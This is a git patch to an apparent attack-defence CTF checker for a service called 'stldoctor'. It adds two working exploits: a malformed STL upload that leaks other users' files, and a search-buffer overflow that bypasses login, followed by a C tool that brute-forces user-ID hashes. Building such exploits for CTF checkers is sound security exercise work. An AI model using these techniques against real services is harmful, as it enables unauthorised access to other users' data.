From 8057ab1167b3c0c19f8212c86c7a849ca3997d47 Mon Sep 17 00:00:00 2001 From: Louis Burda Date: Thu, 27 May 2021 21:58:17 +0200 Subject: bumped enochecker and implemented exploits with minor tweaks to source --- checker/src/checker.py | 189 +++++++++++++++++++++++++++++------------ checker/src/requirements.txt | 7 +- checker/src/revhash/.gitignore | 2 + checker/src/revhash/Makefile | 11 +++ checker/src/revhash/main.c | 80 +++++++++++++++++ 5 files changed, 231 insertions(+), 58 deletions(-) create mode 100644 checker/src/revhash/.gitignore create mode 100644 checker/src/revhash/Makefile create mode 100644 checker/src/revhash/main.c (limited to 'checker/src') diff --git a/checker/src/checker.py b/checker/src/checker.py index 9d9124a..46f91ce 100644 --- a/checker/src/checker.py +++ b/checker/src/checker.py @@ -1,60 +1,76 @@ #!/usr/bin/env python3 from enochecker import BaseChecker, BrokenServiceException, EnoException, run from enochecker.utils import SimpleSocket, assert_equals, assert_in -import random, string, struct, logging, selectors, time, socket +import os, random, string, struct, subprocess, logging, selectors, time, socket import numpy as np logging.getLogger("faker").setLevel(logging.WARNING) logging.getLogger("pwnlib").setLevel(logging.WARNING) +logging.getLogger("_curses").setLevel(logging.CRITICAL) from faker import Faker +evil_file = b""" +solid test\xff +facet normal 0 0 1.0 + outer loop + vertex 1 0 0 + vertex 1 1 0 + vertex 0 1 0 + endloop + endfacet +endsolid +""" + def ensure_bytes(v): if type(v) == bytes: return v elif type(v) == str: - return v.encode("latin-1") + return v.encode() else: raise BrokenServiceException("Tried to pass non str/bytes to bytes arg") class STLDoctorChecker(BaseChecker): + service_name = "stldoctor" + port = 9090 + flag_variants = 2 noise_variants = 2 havoc_variants = 4 - service_name = "stldoctor" - port = 9000 + exploit_variants = 2 - debuglog = True + prompt = b"$ " def login_user(self, conn, password): self.debug("Sending command to login.") - self.write(conn, f"login\n{password}\n") - conn.readline_expect(b"logged in!", recvuntil=b"$", exception_message="Failed to log in") + conn.write(f"login\n{password}\n") + conn.readline_expect(b"logged in!", recvuntil=self.prompt, exception_message="Failed to log in") def write(self, conn, buf): - if self.debuglog: - print("SEND: " + str(ensure_bytes(buf))) + self.debug("SEND: " + str(ensure_bytes(buf))) conn.send(ensure_bytes(buf)) def fakeid(self): fake = Faker(["en_US"]) allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789-+.!" - return "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.') + idstr = "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.') + idstr += "".join([random.choice(allowed) for i in range(5)]) + return idstr def havocid(self): idlen = random.randint(10, 60) return "".join([chr(random.randint(32, 127)) for i in range(idlen)]) def do_auth(self, conn, authstr): - self.write(conn, f"auth {authstr}\n") - resp = conn.recvuntil("$") + conn.write(f"auth {authstr}\n") + resp = conn.recvuntil(self.prompt) authstr = ensure_bytes(authstr) - assert_in(b"Success!", resp, f"Login with pass {authstr} failed!"); + assert_in(b"Success!", resp, f"Login with pass {authstr} failed"); def check_listed(self, conn, modelid): modelid = ensure_bytes(modelid) - self.write(conn, "list\n") - resp = conn.recvuntil("$") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) assert_in(modelid, resp, f"Uploaded model is missing from list command") def genfile_ascii(self, solidname): @@ -113,58 +129,56 @@ class STLDoctorChecker(BaseChecker): else: raise EnoException("Invalid file type supplied"); - def putfile(self, conn, modelname, solidname, filetype): + def putfile(self, conn, modelname, solidname, filetype="ascii", stlfile=None): solidname = ensure_bytes(solidname) modelname = ensure_bytes(modelname) # Generate file contents - stlfile = self.genfile(filetype = filetype, solidname = solidname) + if stlfile is None: + stlfile = self.genfile(filetype, solidname) # Upload file self.debug("Sending command to submit file") - self.write(conn, "upload\n") - self.write(conn, f"{len(stlfile)}\n") - self.write(conn, stlfile) - self.write(conn, modelname + b"\n") + conn.write("upload\n") + conn.write(f"{len(stlfile)}\n") + conn.write(stlfile) + conn.write(modelname + b"\n") # Parse ID - print(conn.recvuntil("with ID ")) + self.debug(conn.recvuntil("with ID ")) modelid = conn.recvuntil(b"!")[:-1] - if modelid == b"": + if modelid == "": raise BrokenServiceException("Unable to upload file!") - self.debug(f"Got ID {modelid}") - - conn.recvuntil(b"$") + self.debug(f"Uploaded file with {modelid}") - if self.debuglog: - print(f"PUT FILE: {modelid}") + conn.recvuntil(self.prompt) return stlfile, modelid - def getfile(self, conn, modelname): + def getfile(self, conn, modelname=None, download=True): modelname = ensure_bytes(modelname) self.debug(f"Sending command to retrieve file with name {modelname}") - self.write(conn, "search\n") - self.write(conn, modelname + b"\n") - self.write(conn, "0\n") # first result - self.write(conn, "y\n") # yes download - - resp = conn.recvuntil(b"Here you go.. (") - print(resp) - try: - size = int(conn.recvuntil(b"B)\n")[:-3]) - except: - print("GOT INSTEAD:", conn.recvall(timeout=0)) - raise BrokenServiceException("Returned file content size for download is not a valid integer") - - print("FILE SIZE:", size) - contents = conn.recvn(size) - if self.debuglog: - print("GOT FILE:\n" + str(contents)) - - conn.recvuntil("$") # clean up rest - return resp + contents + conn.write("search\n") + conn.write(modelname + b"\n") + conn.write("0\n") # first result + conn.write("y\n" if download else "\n") + + resp = conn.recvuntil("==================") + if download: + resp += conn.recvuntil(b"Here you go.. (") + try: + size = int(conn.recvuntil(b"B)\n")[:-3]) + except: + raise BrokenServiceException("Returned file content size for download is not a valid integer") + + self.debug(f"Download size: {size}") + contents = conn.recvn(size) + self.debug("File contents:\n" + str(contents)) + resp += contents + + conn.recvuntil(self.prompt) + return resp def check_getfile(self, conn, modelname, solidname, contents, modelid = None): resp = self.getfile(conn, modelname = modelname) @@ -213,18 +227,19 @@ class STLDoctorChecker(BaseChecker): self.check_listed(conn, modelid) self.closeconn(conn) + def reverse_hash(self, hashstr): + return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1] + def openconn(self): import pwnlib.tubes.remote self.debug(f"Connecting to service at {self.address}:{self.port}") conn = pwnlib.tubes.remote.remote(self.address, self.port, timeout = self.timeout) - resp = conn.recvuntil("$") # ignore welcome - if self.debuglog: - print("WELCOME:",resp) + resp = conn.recvuntil(self.prompt) return conn def closeconn(self, conn): self.debug("Sending exit command") - self.write(conn, "exit\n") + conn.write("exit\n") conn.close() def putflag(self): # type: () -> None @@ -312,9 +327,73 @@ class STLDoctorChecker(BaseChecker): def exploit(self): # type: () -> None if self.variant_id == 0: - pass + name = self.fakeid() + + conn = self.openconn() + resp,mid = self.putfile(conn, name, name, stlfile=evil_file) + self.debug(f"Evil file: {mid}") + self.closeconn(conn) + + conn = self.openconn() + resp = self.getfile(conn, name, download=False) + self.debug(str(resp)) + conn.write("search last\n") + filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l] + + found = None + for i in range(len(filelist)): + self.debug(b"Retrieving file " + filelist[i][0] + b": " + filelist[i][1]) + conn.write(filelist[i][0] + b"\ny\n") + fileinfo = conn.recvuntil(self.prompt) + self.debug("File contents:\n" + fileinfo.decode("latin1")) + found = self.search_flag_bytes(fileinfo) + if found is not None or i == len(filelist) - 1: + break + self.getfile(conn, name, download=False) + conn.write("search last\n") + conn.recvuntil("?") + self.closeconn(conn) + + if found is None: + raise BrokenServiceException("Exploit for flagstore 1 failed") + return found elif self.variant_id == 1: - pass + conn = self.openconn() + conn.write(b"search \xff\xff\xff\xff\xff0000000000000000\n") + conn.recvuntil(self.prompt) + conn.write("auth\n") + assert_in(b"Already logged in!", conn.recvuntil(self.prompt), "Exploit did not set 'loggedin' variable via overflow") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l] + self.closeconn(conn) + + conn = self.openconn() + found = None + for u in users: + self.debug(f"Logging in as user with id {u}") + user = self.reverse_hash(u.decode()) + if user == b"": + raise BrokenServiceException("Failed to find hash preimage") + self.debug(f"Hash preimage: {user}") + conn.write(b"auth " + user + b"\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + if b"Welcome back" not in resp: + raise BrokenServiceException("Revhash returned invalid preimage") + conn.write("list\n") + resp = conn.recvuntil(self.prompt) + self.debug(resp) + names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l]) + found = self.search_flag_bytes(names) + if found is not None: + break + self.closeconn(conn) + + if found is None: + raise BrokenServiceException("Exploit for flagstore 2 failed") + return found else: raise EnoException("Invalid variant_id provided") diff --git a/checker/src/requirements.txt b/checker/src/requirements.txt index f6b539c..562833e 100644 --- a/checker/src/requirements.txt +++ b/checker/src/requirements.txt @@ -2,9 +2,10 @@ certifi==2020.12.5 chardet==4.0.0 click==7.1.2 dnspython==1.16.0 -enochecker==0.3.2 -enochecker-cli==0.6.0 -enochecker-core==0.8.1 +# enochecker==0.4.0 +git+https://github.com/enowars/enochecker.git@storeddict-bson +enochecker-cli==0.7.0 +enochecker-core==0.10.0 eventlet==0.30.2 Flask==1.1.2 greenlet==1.0.0 diff --git a/checker/src/revhash/.gitignore b/checker/src/revhash/.gitignore new file mode 100644 index 0000000..82f9f1c --- /dev/null +++ b/checker/src/revhash/.gitignore @@ -0,0 +1,2 @@ +vgcore* +revhash diff --git a/checker/src/revhash/Makefile b/checker/src/revhash/Makefile new file mode 100644 index 0000000..b1c17df --- /dev/null +++ b/checker/src/revhash/Makefile @@ -0,0 +1,11 @@ +CFLAGS = -g + +.PHONY: all clean + +all: revhash + +clean: + rm revhash + +revhash: main.c + $(CC) -o $@ $< $(CFLAGS) diff --git a/checker/src/revhash/main.c b/checker/src/revhash/main.c new file mode 100644 index 0000000..f872e33 --- /dev/null +++ b/checker/src/revhash/main.c @@ -0,0 +1,80 @@ +#include +#include +#include +#include + +#define MAXITER 256 * 100 +#define MAX(x,y) ((x) > (y) ? (x) : (y)) +#define MIN(x,y) ((x) < (y) ? (x) : (y)) + +int +main(int argc, const char **argv) +{ + const char *hashstr; + char c, hexbuf[3] = { 0 }, *end, *buf; + int i, k, v, maxlen, sum, *hash, sublen, aftersum; + + if (argc < 2) { + fprintf(stderr, "USAGE: revhash \n"); + return EXIT_FAILURE; + } + + hashstr = argv[1]; + if (strlen(hashstr) % 2 != 0) + goto invalid; + + /* alloc */ + maxlen = strlen(hashstr) / 2; + hash = calloc(maxlen, sizeof(int)); + buf = malloc(strlen(hashstr)); + if (!hash) return EXIT_FAILURE; + + /* convert hex to int array */ + for (i = 0; i < maxlen; i++) { + memcpy(hexbuf, hashstr + 2 * i, 2); + hash[i] = strtol(hexbuf, &end, 16); + if (end && *end) goto invalid; + } + + /* bruteforce srand seed */ + for (i = 0; i < MAXITER; i++) { + srand(i); + + /* reverse chars for given sum */ + for (sum = i, k = 0; k < maxlen && sum > 0; k++) { + buf[k] = (char) hash[k] ^ (rand() % 256); + if (buf[k] < 0) break; + sum -= buf[k]; + } + + /* repeat if too short */ + if (k && sum == 0) { + sublen = k; + for (k = sublen; k < maxlen; k++) { + buf[k] = (char) hash[k] ^ (rand() % 256); + if (buf[k] < 0 || buf[k] != buf[k % sublen]) break; + } + } + + if (k < maxlen) continue; + + /* output first part we know */ + printf("%.*s", sublen, buf); + + /* add rest of chars */ + while (sum > 0) { + c = MIN(127, sum); + printf("%c", c); + sum -= c; + } + + printf("\n"); + return EXIT_SUCCESS; + } + + return EXIT_FAILURE; + +invalid: + fprintf(stderr, "Invalid hash string!\n"); + return EXIT_FAILURE; +} -- cgit v1.2.3-71-gd317